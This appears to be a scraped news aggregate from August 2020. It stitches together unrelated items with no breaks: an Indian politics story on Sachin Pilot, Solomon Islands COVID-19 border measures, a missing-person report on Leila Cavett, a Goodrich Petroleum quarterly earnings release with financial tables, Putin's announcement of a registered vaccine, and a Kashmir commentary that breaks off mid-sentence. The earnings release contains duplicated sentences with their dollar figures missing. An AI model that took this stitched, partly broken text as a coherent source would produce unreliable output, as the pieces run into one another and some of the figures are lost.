Envoy Says US 'knee On Iran's Neck' (Image Credit: AP) No hard feelings, says Congress' Sachin Pilot, back in Jaipur India oi-Deepika S Jaipur, Aug 11: Congress leader Sachin Pilot returned to Jaipur on Tuesday, nearly a month after he rebelled against Chief Minister Ashok Gehlot. Rajasthan crisis ends: But all is not well between Pilot & Gehlot | Oneindia News "I am pained by the kind of words that were used, I think we should forget what was said. A level of discourse should be maintained in politics, there should be no feeling of personal animosity, work should be done based on issues and policy," Pilot told reporters. Asked on the possibility of getting Deputy CM post again, Pilot said, "I have not made any demands with the party. I am an MLA and a Congress worker, I will do whatever party asks me to do." After the 'nikamma jibes, peace, brotherhood returns to Rajasthan Congress On Monday, a meeting between Sachin Pilot and Rahul Gandhi on Monday signalled an "amicable resolution" of nearly a month-long Rajasthan political crisis ahead of the crucial assembly session beginning August 14. A large number of his supporters gathered outside his residence to welcome him as he drove down to Jaipur from New Delhi in his car. Source: Xinhua| 2020-08-11 12:01:18|Editor: huaxia Video Player Close SYDNEY, Aug. 11 (Xinhua) -- Solomon Islands Prime Minister Manasseh Sogavare made a statement to the public on Monday, urging them to secure the country's provincial borders, as COVID-19 spread to the neighboring island of Bougainville. On Aug. 7, Papua New Guinea's rising infections officially reached the autonomous region of Bougainville, which neighbors the Solomons' western islands by stretches of water less than ten km across in some places. Police recently clamped down on the border area, establishing observation posts and ramping up patrols, however there remained serious concerns that the virus could cross into one of Solomon Islands' western villages, placing the entire country at risk. "Fellow Solomon Islanders, we are still COVID-19 free. However, we must not be complacent. If we become careless, we may not remain COVID-19 free for long," Sogavare said. "I plead with you to please do your best to protect our country, our villages, our families and our children -- by not letting anyone from the other side of the border to cross and mix with our villagers or families." As of Monday, PNG had 214 confirmed cases and three deaths related to COVID-19, with evidence of community transmission, according to Sogavare. He said that his office, along with the Ministry of Health and the National Disaster Management Office, were working with provincial governments on the islands nearest to Bougainville to implement a deterrence strategy. In the meantime, Sogavare instructed Solomon Islanders on the western borders that if anybody attempts to cross from the other side, not to interact with them, instruct them to remain in their canoe or boat and inform local officials to take appropriate action. He added that those crossing the border illegally face "the full force of the law." Enditem This past Sunday marked two weeks since Leila Cavetts two-year-old son was found wandering alone outside an apartment complex in Miramar, Florida. But there is still no sign of his 21-year-old mother and now the FBI has joined the search. Leila, of Dawsonville, Georgia, was last seen on July 25, 2020, in Hollywood, Florida, driving a white mid-to-late 90s Chevy Silverado 3500 pickup truck with a red tailgate and a Baby on Board sign on the passenger window, according to Miramar Police. Leila Cavett and her son, Kamdyn. (Miramar Police Department) Leilas two-year-old son, Kamdyn, was found the next day wandering around outside an apartment complex in the 1860 block of SW 68th Avenue, in Miramar, Florida, according to Miramar Police. He was barefoot and wearing only a t-shirt and a diaper. Ebony Williams, who lives at the complex, had just arrived home Sunday morning when she spotted the toddler outside and then realized he was alone. I asked him where his mommy was and he just kind of pointed everywhere, Ebony told reporters at a press conference the next day. I reached out my hand for him, he grabbed my hand. And I just walked around the complex hoping I would find somebody looking for him, or calling his name. But when no one claimed the child, Ebony called 911. Miramar Police responded and searched for hours that Sunday, knocking on doors, attempting to find the boys parents, but they were nowhere to be found. As the day passed, police became very concerned when no one stepped forward to claim the child, Public Information Officer Tania Rues told Dateline. Within an hour two -- three tops -- someone usually comes forward, Rues said. Rues said photos of the child were posted to social media, which eventually made their way to family members who called police more than a day after the child was found. Kamdyn Cavett. (Miramar Police Department) Leila Cavetts sisters, who live in Alabama, drove to Florida when they realized their nephew had been found alone and that their sister was missing. They told NBC affiliate WTVJ that Leila lives in Dawsonville, Georgia, and doesnt know anyone in South Florida or why she would be there. The sisters added that they havent seen Leila since a FaceTime call on July 17. Story continues Its not out of character for her to go places, but its definitely out of character for her to be in Florida," her sister, Gina Lewis, told WTVJ in July while they were in Florida to search for Leila. "Were in Alabama, she lives in Georgia. If its not those two states, we dont understand why she would be here, for sure. Family members told WTVJ that Leilas son, Kamdyn, remains in child protective services, but they have been allowed to video chat with the toddler through Zoom. "He misses his mom and hes so confused, but we assured him that were coming to get him as soon as we can," Leilas mother, Tina Kirby said. This is my worst nightmare. On July 28, Leilas white Chevy Silverado 3500 pickup truck was found abandoned in the parking lot of a Walmart in Hollywood, Florida, approximately two miles from where her son had been found the day before. At that point, Hollywood Police took over the search for Leila. They have requested assistance from the public in locating Leila, however they have not responded to calls from Dateline NBC. Last week, the FBI announced they have stepped in to assist the Hollywood Police Department in the search. The FBI is involved in the investigation working alongside local law enforcement, Public Affairs Specialist for FBI Miami Jim Marshall confirmed to Dateline. Family members are working with investigators to gain access to Leilas social media accounts for clues on her disappearance. They have also hired an attorney, who has published updates on his Facebook Page. Requests for comment from the attorney were not returned as of Monday. Leilas family is pleading with the community to keep an eye out for her and call police with any information. If you know anything about the whereabouts of my child, please contact your local authorities, Leilas mother, Tina told WTVJ last Thursday. We just want my daughter back safely. Leila is described as being 5 feet 4 inches tall and weighing about 110 pounds. She has brown, shoulder-length hair and brown eyes. She has a tattoo that reads Kamdyn on her right arm and a small tattoo of a Christian fish symbol on her right wrist. Anyone who may have information on Leilas whereabouts is asked to contact the Hollywood Police Department at (954) 764-4357 or 954-967-4411. Tips can be emailed or texted to hollywoodpdtips@hollywoodfl.org. You can also contact the Broward Crime Stoppers at www.browardcrimestoppers.org. HOUSTON, Aug. 11, 2020 /PRNewswire/ -- Goodrich Petroleum Corporation (NYSE American: GDP) (the "Company") today announced financial results for the second quarter ended June 30, 2020. QUARTER HIGHLIGHTS Adjusted EBITDA: Adjusted EBITDA was $15.4 million in the quarter. Adjusted EBITDA was in the quarter. Discretionary Cash Flow was $14.5 million and Capital Expenditures totaled $10.2 million in the quarter; was and totaled in the quarter; Net Loss: Net Loss was $15.7 million in the quarter. Factoring into the net loss for the quarter were a mark-to-market loss representing the change of the fair value of our open natural gas and oil derivative contracts of $9.0 million and an impairment charge of $6.8 million . Net Loss was $15.7 million in the quarter. Factoring into the net loss for the quarter were a mark-to-market loss representing the change of the fair value of our open natural gas and oil derivative contracts of and an impairment charge of . Production: Production averaged approximately 138,000 Mcfe per day for the quarter. The Company completed 1 gross (0.8 net) wells in the quarter. Production averaged approximately 138,000 Mcfe per day for the quarter. The Company completed 1 gross (0.8 net) wells in the quarter. Cash Expenses: Per unit cash expense was $1.09 per Mcfe for the quarter, with $1.01 in cash operating expense and $0.08 per Mcfe in cash interest expense. Per unit cash operating expense was broken out as follows: Per unit cash expense was per Mcfe for the quarter, with in cash operating expense and per Mcfe in cash interest expense. Per unit cash operating expense was broken out as follows: Lease operating expense ("LOE") was $0.26 per Mcfe per Mcfe Production and other taxes were $0.07 per Mcfe per Mcfe Transportation and processing expense was $0.43 per Mcfe per Mcfe General and Administrative ("G&A") expense payable in cash was $0.25 per Mcfe Haynesville Acreage: The Company has recently entered into an agreement to develop certain acreage in the vicinity of the Company's Bethany-Longstreet area, which increases its Haynesville acreage to approximately 24,000 net acres. The Company has now added approximately 2,000 net acres this year on a drill to earn basis, with no upfront consideration. THE COMPANY HAS POSTED A NEW PRESENTATION ON THE COMPANY'S WEBSITE WHICH WILL BE REVIEWED ON THE EARNINGS CONFERENCE CALL. INVESTORS CAN ACCESS THE SLIDES AT: http://goodrichpetroleumcorp.investorroom.com/events 2Q20 FINANCIAL RESULTS CASH FLOW Adjusted EBITDA was $15.4 million in the quarter and discretionary cash flow ("DCF"), defined as net cash provided by operating activities before changes in working capital, was $14.5 million in the quarter, versus Adjusted EBITDA of $21.5 million and DCF of $20.6 million in the prior year period. (See accompanying tables at the end of this press release that reconcile Adjusted EBITDA and DCF, each of which are non-US GAAP financial measures, to their most directly comparable US GAAP financial measure.) NET INCOME/LOSS The Company announced a net loss of $15.7 million ($1.25 per basic and fully diluted share) in the quarter, versus net income of $11.8 million ($0.96 per basic and $0.82 per fully diluted share) in the prior year period. Net loss for the quarter, as adjusted for the Company's mark-to-market loss on unsettled derivatives of $9.0 million and $6.8 million of impairment expense, was an adjusted income of $0.1 million. PRODUCTION Production totaled approximately 12.6 Bcfe in the quarter, or an average of approximately 138,000 Mcfe (98% natural gas) per day, versus 12.6 Bcfe, or an average of approximately 138,200 Mcfe (98% natural gas) per day, in the prior year period. REVENUES Oil and natural gas revenues adjusted for cash settled derivatives of $7.3 million was $27.8 million. Oil and natural gas revenues prior to cash settled derivatives was $20.5 million. Oil and gas revenues including cash settled derivatives was $33.9 million in the prior year period. Average realized price per unit was $1.63 per Mcfe ($1.54 per Mcf of gas and $40.41 per barrel of oil) in the quarter, versus $2.54 per Mcfe in the prior year period ($2.35 per Mcf of gas and $65.00 per barrel of oil). Average realized price per unit when incorporating the Company's settled derivatives, including $1.8 million received for July 2020 natural gas positions settled at the end of the quarter, was $2.21 per Mcfe. (See accompanying table at the end of this press release that reconciles oil and natural gas revenues adjusted for cash settled derivatives, which is a non-US GAAP financial measure, to its most directly comparable US GAAP financial measure.) OPERATING EXPENSES Lease operating expense ("LOE") was $3.2 million, or $0.26 per Mcfe, in the quarter, versus $3.0 million, or $0.24 per Mcfe, in the prior year period. LOE for the quarter included $0.5 million, or $0.04 per Mcfe, for workovers, versus $0.2 million, or $0.02 per Mcfe, in the prior year period. Lease operating expense for the quarter excluding workovers was $2.7 million, or $0.22 per Mcfe, versus $2.8 million, or $0.22 per Mcfe in the prior year period. Production and other taxes were $0.9 million in the quarter, or $0.07 per Mcfe, versus $0.6 million, or $0.05 per Mcfe, in the prior year period. The increase year over year is the result of reaching the end of the severance tax abatement period on certain wells since last year. Transportation and processing expense was $5.4 million, or $0.43 per Mcfe, in the quarter, versus $5.8 million, or $0.46 per Mcfe, in the prior year period. Depreciation, depletion and amortization ("DD&A") expense was $11.9 million, or $0.95 per Mcfe, in the quarter, versus $13.3 million, or $1.06 per Mcfe, in the prior year period. General and administrative expense was $4.5 million, or $0.36 per Mcfe, in the quarter, versus $4.9 million, or $0.39 per Mcfe, in the prior year period. G&A expense payable in cash was $3.2 million, or $0.25 per Mcfe, versus $3.4 million or $0.27 per Mcfe, in the prior year period. Impairment expense was $6.8 million in the quarter as a result of our full cost ceiling test due to low natural gas prices over the trailing twelve months, while we recorded no impairment charge in the prior year period. OPERATING INCOME/LOSS Operating loss adjusted for cash settled derivatives was $4.9 million for the quarter, which included $7.3 million received for cash settled derivatives. Operating loss, defined as revenues minus operating expenses, totaled $12.3 million in the quarter prior to cash settled derivatives. Operating income adjusted for cash settled derivatives was $6.3 million in the prior year period, which included $2.0 million received for cash settled derivatives. Operating income totaled $4.4 million in the prior year period prior to cash settled derivatives. (See accompanying table at the end of this press release that reconciles operating income (loss) adjusted for cash settled derivatives, which is a non-US GAAP financial measure, to its most directly comparable US GAAP financial measure.) INTEREST EXPENSE Interest expense totaled $1.7 million in the quarter, which included interest payable in cash of $1.0 million incurred on the credit facility and non-cash interest of $0.7 million incurred primarily on the Company's second lien notes, which included $0.5 million paid in-kind interest and $0.2 million amortization of debt discount and issuance costs. Interest expense for the prior year period was $3.4 million, which included interest payable in cash of $1.0 million incurred on the credit facility and non-cash interest of $2.4 million incurred on the Company's second lien notes, which included $1.4 million paid in-kind interest and $1.0 million amortization of debt discount and issuance costs. (See accompanying table at the end of this press release that reconciles interest payable in cash, which is a non-US GAAP financial measure, to its most directly comparable US GAAP financial measure.) CAPITAL EXPENDITURES Capital expenditures totaled $10.2 million in the quarter, of which a majority was spent on drilling and completion costs, versus $25.0 million in the prior year period, of which $24.5 million was spent on drilling and completion costs and $0.5 million on other expenditures. The Company conducted drilling operations on 6 gross (2.2 net) wells in the quarter and added 1 gross (0.8 net) wells to production. The Company had 13 gross (4.7 net) wells in the drilling or completion process at the end of the quarter, which the Company plans to complete in the future. BALANCE SHEET The Company exited the quarter with $1.6 million of cash, $95.4 million outstanding under the Company's credit facility, and total principal debt outstanding, including the credit facility and second lien notes, of $109.3 million. CRUDE OIL AND NATURAL GAS DERIVATIVES The Company had a loss of $1.7 million on its derivatives not designated as hedges in the quarter, which was comprised of a gain of $7.3 million on cash settlements and a $9.0 million loss representing the change of the fair value of our open natural gas and oil derivative contracts, versus a gain of $12.7 million on its derivatives not designated as hedges in the prior year period, which was comprised of a gain of $10.7 million representing the change of the fair value of our open natural gas and oil derivative contracts as well as a $2.0 million gain on cash settlement. OTHER INFORMATION In this press release, the Company refers to several non-US GAAP financial measures, including Adjusted EBITDA, DCF, operating income (loss) adjusted for cash settled derivatives, oil and natural gas revenues adjusted for cash settled derivatives, G&A expense payable in cash and interest expense payable in cash. Management believes Adjusted EBITDA and DCF are good financial indicators of the Company's performance and ability to internally generate operating funds. DCF should not be considered an alternative to net cash provided by operating activities, as defined by US GAAP. Adjusted EBITDA should not be considered an alternative to net income (loss) applicable to common stock, as defined by US GAAP. Operating income (loss) adjusted for cash settled derivatives should not be considered an alternative for operating income, as defined by US GAAP. Oil and natural gas revenues adjusted for cash settled derivatives should not be considered an alternative for oil and natural gas revenues, as defined by US GAAP. G&A payable in cash should not be considered an alternative to general and administrative expense, as defined by US GAAP. Interest expense payable in cash should not be considered an alternative to interest expense, as defined by US GAAP. Management believes that all of these non-US GAAP financial measures provide useful information to investors because they are monitored and used by Company management and widely used by professional research analysts in the valuation and investment recommendations of companies within the oil and gas exploration and production industry. Unless otherwise stated, oil production volumes include condensate. Certain statements in this news release regarding future expectations and plans for future activities may be regarded as "forward looking statements" within the meaning of the Securities Litigation Reform Act. They are subject to various risks, such as financial market conditions, changes in commodities prices and costs of drilling and completion, operating hazards, drilling risks, and the inherent uncertainties in interpreting engineering data relating to underground accumulations of oil and gas, as well as other risks discussed in detail in the Company's Annual Report on Form 10-K for the year ended December 31, 2019 and other subsequent filings with the Securities and Exchange Commission. Although the Company believes that the expectations reflected in such forward-looking statements are reasonable, it can give no assurance that such expectations will prove to be correct. Goodrich Petroleum is an independent oil and natural gas exploration and production company listed on NYSE American under the symbol "GDP". GOODRICH PETROLEUM CORPORATION SELECTED INCOME AND PRODUCTION DATA (In thousands, except per share amounts) (Unaudited) Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 Volumes Natural gas (MMcf) 12,349 12,305 24,591 21,366 Oil and condensate (MBbls) 36 45 74 92 Mmcfe - Total 12,562 12,577 25,033 21,918 Mcfe per day 138,046 138,208 137,544 121,096 Reconciliation of Oil and natural gas revenues adjusted for cash settled derivativs (non-US GAAP) Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 Oil and natural gas revenues (US GAAP) $ 20,471 $ 31,886 $ 43,454 $ 61,032 Net cash received (paid) for settlement of derivative instruments (4) 7,339 1,973 13,308 213 Oil and natural gas revenues adjusted for cash settled derivatives $ 27,810 $ 33,859 $ 56,762 $ 61,245 Oil and natural gas revenues $ 20,471 $ 31,886 $ 43,454 $ 61,032 Other 3 (2) 6 (8) $ 20,474 $ 31,884 $ 43,460 $ 61,024 Operating Expenses Lease operating expense (LOE excluding workovers - $2,697, $2,788, $5,539 and $5,474, respectively) 3,225 2,978 6,553 6,313 Production and other taxes 907 624 1,770 1,255 Transportation and processing 5,375 5,754 10,250 10,455 Depreciation, depletion and amortization 11,876 13,299 25,143 23,345 General and administrative (payable in cash - $3,170, $3,380, $6,950 and $7,146, respectively) 4,522 4,936 9,436 10,246 Impairment of oil and natural gas properties 6,847 - 6,847 - Other (10) (59) (2) (49) Operating income (loss) (12,268) 4,352 (16,537) 9,459 Other income (expense) Interest expense (payable in cash - $978, $990, $2,148 and $1,454, respectively) (1,725) (3,398) (3,677) (7,055) Interest income and other expense 23 18 142 24 Gain (loss) on commodity derivatives not designated as hedges (4) (1,688) 12,653 7,450 11,645 Loss on early extinguishment of debt - (1,846) - (1,846) (3,390) 7,427 3,915 2,768 Income (loss) before income taxes (15,658) 11,779 (12,622) 12,227 Income tax benefit - - - - Net income (loss) $ (15,658) $ 11,779 $ (12,622) $ 12,227 Discretionary cash flow (see non-US GAAP reconciliation) (1) $ 14,512 $ 20,571 $ 29,897 $ 35,371 Adjusted EBITDA (see calculation and non-US GAAP reconciliation) (2) $ 15,445 $ 21,533 $ 31,850 $ 36,747 Weighted average common shares outstanding - basic 12,540 12,211 12,536 12,181 Weighted average common shares outstanding - diluted (3) 12,540 14,581 12,536 14,498 Net income (loss) per share Net income (loss) per common share - basic $ (1.25) $ 0.96 $ (1.01) $ 1.00 Net income (loss) per common share - diluted $ (1.25) $ 0.82 $ (1.01) $ 0.85 (1) Discretionary cash flow is defined as net cash provided by operating activities before changes in operating assets and liabilities. Management believes that the non-US GAAP measure of discretionary cash flow is useful as an indicator of an oil and natural gas exploration and production company's ability to internally fund exploration and development activities and to service or incur additional debt. The company has also included this information because changes in operating assets and liabilities relate to the timing of cash receipts and disbursements which the company may not control and may not relate to the period in which the operating activities occurred. Operating cash flow should not be considered in isolation or as a substitute for net cash provided by operating activities prepared in accordance with US GAAP. (2) Adjusted EBITDA is defined as earnings before interest expense, income and similar taxes, DD&A, share based compensation expense and impairment of oil and natural gas properties. In calculating adjusted EBITDA, reorganization gains/losses and gains/losses on commodity derivatives not designated as hedges net of cash received or paid in settlement of derivative instruments are also excluded. Other excluded items include interest income and other, adjustments per our 2019 Senior Credit Facility agreement for operating leases under ASC 842 and any other extraordinary non-cash gains/losses. (3) Fully diluted shares excludes approximately 2.3 million potentially dilutive instruments that were anti-dilutive for the three months ended June 30, 2020 and approximately 2.1 million potentially dilutive instruments that were anti-dilutive for the six months ended June 30, 2020. (4) Includes $1.8 million gain realized related to July 2020 natural gas derivative contracts settled in June 2020. GOODRICH PETROLEUM CORPORATION Per Unit Sales Prices and Costs (Unaudited) Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 Average sales price per unit: Oil (per Bbl) Including net cash received from/paid to settle oil derivatives $ 58.55 $ 59.28 $ 57.35 $ 58.16 Excluding net cash received from/paid to settle oil derivatives $ 40.41 $ 65.00 $ 44.15 $ 62.18 Natural gas (per Mcf) Including net cash received from/paid to settle natural gas derivatives (4) $ 2.08 $ 2.54 $ 2.14 $ 2.62 Excluding net cash received from/paid to settle natural gas derivatives $ 1.54 $ 2.35 $ 1.63 $ 2.59 Oil and natural gas (per Mcfe) Including net cash received from/paid to settle oil and natural gas derivatives (4) $ 2.21 $ 2.70 $ 2.27 $ 2.80 Excluding net cash received from/paid to settle oil and natural gas derivatives $ 1.63 $ 2.54 $ 1.74 $ 2.78 Costs Per Mcfe Lease operating expense ($0.22, $0.22, $0.22 and $0.25 excluding workovers, respectively) $ 0.26 $ 0.24 $ 0.26 $ 0.29 Production and other taxes $ 0.07 $ 0.05 $ 0.07 $ 0.06 Transportation and processing $ 0.43 $ 0.46 $ 0.42 $ 0.48 Depreciation, depletion and amortization $ 0.95 $ 1.06 $ 1.00 $ 1.07 General and administrative (payable in cash - $0.25, $0.27, $0.28 and $0.33, respectively) $ 0.36 $ 0.39 $ 0.38 $ 0.47 Impairment of oil and natural gas properties $ 0.55 $ 0.27 Other $ - $ - $ - $ - $ 2.61 $ 2.19 $ 2.40 $ 2.35 . Note: Amounts on a per Mcfe basis may not total due to rounding. GOODRICH PETROLEUM CORPORATION Cash Flow Data (In Thousands) (Unaudited) Reconciliation of discretionary cash flow and net cash provided by operating activities (non-US GAAP) Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 Net cash provided by operating activities (US GAAP) $ 16,230 $ 23,346 $ 31,080 $ 41,253 Net changes in working capital 1,718 2,775 1,183 5,882 Discretionary cash flow (1) $ 14,512 $ 20,571 $ 29,897 $ 35,371 Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 CASH FLOWS FROM OPERATING ACTIVITIES: Net income (loss) $ (15,658) $ 11,779 $ (12,622) $ 12,227 Adjustments to reconcile net loss to net cash provided by operating activities Depreciation, depletion and amortization ("DD&A") 11,876 13,299 25,143 23,345 Right of use asset depreciation 313 341 626 626 Impairment of oil and natural gas properties 6,847 - 6,847 - (Gain) loss on derivatives not designated as hedges 1,688 (12,653) (7,450) (11,645) Net cash received from (paid for) settlement of derivative instruments (4) 7,339 1,973 13,308 213 Share based compensation (non-cash) 1,373 1,580 2,529 3,148 Amortization of finance cost, debt discount, paid in-kind interest and accretion 747 4,252 1,529 7,445 Other (13) - (13) 12 Change in assets and liabilities: Accounts receivable, trade and other, net of allowance 90 (1,260) (83) (1,916) Accrued oil and gas revenue 17 (3,641) 3,752 (1,405) Prepaid expenses and other 48 96 52 131 Accounts payable 355 7,522 286 10,163 Accrued liabilities 1,208 58 (2,824) (1,091) Net cash provided by operating activities 16,230 23,346 31,080 41,253 CASH FLOWS FROM INVESTING ACTIVITIES: Capital expenditures (18,158) (26,812) (33,196) (55,066) Proceeds from sale of assets - - - 1,284 Net cash used in investing activities (18,158) (26,812) (33,196) (53,782) CASH FLOWS FROM FINANCING ACTIVITIES: Principal payments of bank borrowings - (47,500) - (49,500) Proceeds from bank borrowings 2,500 99,900 2,500 106,900 Repayments of Convertible Second Lien Notes - (56,728) - (56,728) Proceeds from New 2L Notes - 12,000 - 12,000 Issuance cost, net - (2,000) - (2,000) Purchase of treasury stock and other (270) (537) (272) (542) Net cash provided by financing activities 2,230 5,135 2,228 10,130 Net increase (decrease) in cash and cash equivalents 302 1,669 112 (2,399) Cash and cash equivalents, beginning of period 1,262 - 1,452 4,068 Cash and cash equivalents, end of period $ 1,564 $ 1,669 $ 1,564 $ 1,669 GOODRICH PETROLEUM CORPORATION Other Information and Reconciliations (In Thousands) Supplemental Balance Sheet Data (unaudited) As of June 30, 2020 Cash and cash equivalents $ 1,564 Long-term debt, net $ 107,925 Unamortized debt discount and issuance cost 1,334 Total principal amount of debt $ 109,259 Reconciliation of Net income (loss) to Adjusted EBITDA (non-US GAAP) Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 Net income (loss) (US GAAP) $ (15,658) $ 11,779 $ (12,622) $ 12,227 Depreciation, depletion and amortization ("DD&A") 11,876 13,299 25,143 23,345 Share-based compensation expense (non-cash) 1,374 1,580 2,529 3,148 Impairment of oil and natural gas properties 6,847 - 6,847 - Interest expense 1,725 3,398 3,677 7,055 (Gain) loss on commodity derivatives not designated as hedges, not settled 9,027 (10,680) 5,858 (11,432) Loss on early extinguishment of debt - 1,846 - 1,846 Other items ** 254 311 418 558 Adjusted EBITDA (2) $ 15,445 $ 21,533 $ 31,850 $ 36,747 ** Other items include $0.3 million, $0.3 million, $0.4 million and $0.6 million, respectively, from the impact of accounting for operating leases under ASC 842 as well as interest income, reorganization items and other non-recurring income and expense. Derivative Activity Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 Gain (loss) on commodity derivatives not designated as hedges, not settled $ (9,027) $ 10,680 $ (5,858) $ 11,432 Net cash received from (paid for) settlement of derivative instruments (4) 7,339 1,973 13,308 213 Total gain (loss) on derivatives not designated as hedges $ (1,688) $ 12,653 $ 7,450 $ 11,645 Reconciliation of interest payable in cash to interest expense Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 Interest expense (GAAP) $ 1,725 $ 3,398 $ 3,677 $ 7,055 Amortization of debt discount and issuance cost and paid-in-kind interest (747) (2,408) (1,529) (5,601) Interest payable in cash $ 978 $ 990 $ 2,148 $ 1,454 GOODRICH PETROLEUM CORPORATION Other Information and Reconciliations continued (In Thousands, except per unit amounts) Reconciliation of capital expenditures (unaudited) Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 Net cash used in investing activities (US GAAP) $ (18,158) $ (26,812) $ (33,196) $ (53,782) Cash proceeds related to sale of assets - - - (1,284) Miscellaneous capitalized costs & ARO adjustments (253) (239) (429) (441) Cost incurred in prior period and paid in current period 9,330 9,145 6,175 8,086 Capital accrual at period end (1,117) (7,067) (1,117) (7,067) Total capital expenditures $ (10,198) $ (24,973) $ (28,567) $ (54,488) Reconciliation of general & administrative expense payable in cash to general and administrative expense (non-GAAP) Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 General & administrative expense (GAAP) $ 4,522 $ 4,936 $ 9,436 $ 10,246 Share based compensation (1,352) (1,556) (2,486) (3,100) General & administrative expense payable in cash $ 3,170 $ 3,380 $ 6,950 $ 7,146 Oil and natural gas production (Mcfe) 12,562 12,577 25,033 21,918 General and administrative expense payable in cash per Mcfe $ 0.25 $ 0.27 $ 0.28 $ 0.33 Reconciliation of Operating income (loss) adjusted for cash settled derivatives (non-GAAP) Three Months Ended Three Months Ended Six Months Ended Six Months Ended June 30, 2020 June 30, 2019 June 30, 2020 June 30, 2019 Operating income (loss) (US GAAP) $ (12,268) $ 4,352 $ (16,537) $ 9,459 Net cash received from (paid for) settlement of derivative instruments (4) 7,339 1,973 13,308 213 Operating income (loss) adjusted for cash settled derivatives $ (4,929) $ 6,325 $ (3,229) $ 9,672 SOURCE Goodrich Petroleum Corporation Related Links http://www.goodrichpetroleum.com Russias President Vladimir Putin reported the registration in Russia of the first vaccine worldwide against the coronavirus infection. "As far as I know, this morning for the first time in the world a vaccine against the novel coronavirus infection was registered," the president said, opening a meeting with the state officials. Putin asked Health Minister Mikhail Murashko to provide detailed information about this. "I know that it works rather effectively, forms a stable immunity, and, I repeat, it passed all the necessary inspections," the Russian head of state added. The Russian leader noted that the first Russian COVID-19 vaccine forms stable cell and antibody immunity, adding that one of his daughters had tested a Russian COVID-19 vaccine on herself and that she is feeling well. "I know this very well, because one of my daughters got vaccinated, so in this sense, she took part in testing," Putin said. He noted that after the first vaccine shot, his daughter had a 38C fever, and on the next day, a fever slightly higher than 37C. "And then, after the second shot, she had a slight fever again, and then everything was fine, she is feeling well and has a high [antibody] count," TASS cited the president as saying. The Russian leader pointed out that "some people do not have any symptoms at all" after getting a vaccine shot. Earlier the Health Minister stated that clinical trials of the vaccine developed by the Gamaleya National Research Center for Epidemiology and Microbiology of the Russian Healthcare Ministry were over. 'The sooner Pakistan and India face these geopolitical realities, the better it will be for their own security and prosperity,' observes Ambassador M K Bhadrakumar. Photograph: Umar Ganie for Rediff.com IMAGE: Security personnel stand guard on a deserted street in Srinagar during the strict curfew imposed on the first anniversary of the revocation of Article 370, August 4, 2020. India will be keenly watching the outcome of the Pakistani brain wave 'to call a meeting of the Islamic countries that are ready to stand with us on the issue of Kashmir and support the oppressed Kashmiris', as Pakistan Foreign Minister Shah Mehmood Qureshi stated (external link) in Islamabad on August 4, on the eve of the first anniversary of New Delhi's decision to fully integrate the former state of Jammu and Kashmir by amending Article 370 of the country's Constitution that had provided for special status to the region as part of the Indian Union. In retrospect, August 5 passed eventfully within India but in an unexpected way - a triumphalist moment marking the commencement of the construction of a Hindu temple in Ayodhya. The ceremony in Ayodhya relegated J&K to the back burner even as India's Opposition -- and the media -- was frog-marched to provide the chorus for the joyful occasion of temple construction. As a columnist in the South China Morning Post noted (external link) with biting sarcasm, 'Much water has flowed down the Sarayu river -- on whose banks Ayodhya stands -- between the ending of the mosque and the beginning of the "golden chapter".' 'Opposition parties, which once saw the demolition as independent India's most shameful moment, now prefer silence or seek to join in the festivities over what is to replace the debris.' 'The Congress, a sorry shadow of its former self and unsure where it fits in this "golden chapter", has even been trying to claim credit for the temple to out-Ram the BJP. The media, which then couldn't hide its horror at the razing of the mosque, now can't hide its relief at the raising of the temple...' Strange are the ways India's secular democracy works! The point is, August 5 from now on is guaranteed to be a joyful day for the Indian hinterland to celebrate. Delhi also draws satisfaction that the international community did not raise dust on the anniversary day -- not even the UNHRC -- apart from a symbolic attempt by China on behalf of its 'Iron Brother' at the UN Security Council. Suffice to say, Qureshi's threat to Saudi Arabia stems from the frustration that it could do nothing more the renaming of Islamabad's Kashmir Highway as the 'Road to Srinagar" and the unveiling of a 'new map of Pakistan'. Meanwhile, Qureshi didn't seem to factor in that the Organisation of Islamic Conference is the diplomatic platform on which the Custodian of the Two Holy Mosques, Saudi King Salman exercises leadership of the Ummah. Other than oil, it is that title which prompts the world community to take Saudi Arabia seriously. And, that hallowed title dating back to Saladin was adopted by the Ottoman Sultan Selim I after defeating the Mamluks and gaining control of Mecca and Medina in 1517, and was used by all subsequent Ottoman Caliph sultans until Mehmed VI (1861-1926), the last. By the way, King Salman is only the third Saudi monarch to take up the title. Turkey's 'neo-Ottomanism' under President Recep Erdogan dreams about the recovery of the lost historical heritage, which was prised away from it in a blatant conspiracy hatched by imperial Britain when it stirred up the so-called Arab Revolt. Ankara has refrained from making any statement on Kashmir on August 5. (Presumably, Delhi's 'quiet diplomacy' is working.) Having said that, Erdogan may not be found wanting if Imran Khan indeed moves to challenge the Saudi misuse of the OIC as a vehicle of Saudi foreign policies. Yet, Qureshi's brainwave remains quixotic. Any Pakistani initiative to gather a credible number of countries to create a non-Saudi OIC narrative is a non-starter. Qureshi may have ended up inflicting a wound on the Saudi-Pakistan relationship. This is not to be compared to Pakistan's reluctance to fight in the Saudi-led war in Yemen. This is about challenging Saudi leadership of the Ummah -- and that too, in such unseemly hurry on the fourth day of the 84-year-old King Salman's return from hospital after surgery (external link). The Pakistan-Saudi relationship has been in some drift lately. There are tell-tale signs: Pakistan reportedly scrambled to pay back a hefty Saudi loan even ahead of time; Saudis have not cared to renew the deal for supplying oil (external link) to Pakistan under deferred payments; again, nothing seems to have moved on the grand idea of $10 billion Saudi investments (external link) in the Pakistani economy, either. Photograph: Umar Ganie for Rediff.com IMAGE: A deserted view of a Srinagar street during the strict curfew imposed on the first anniversary of revocation 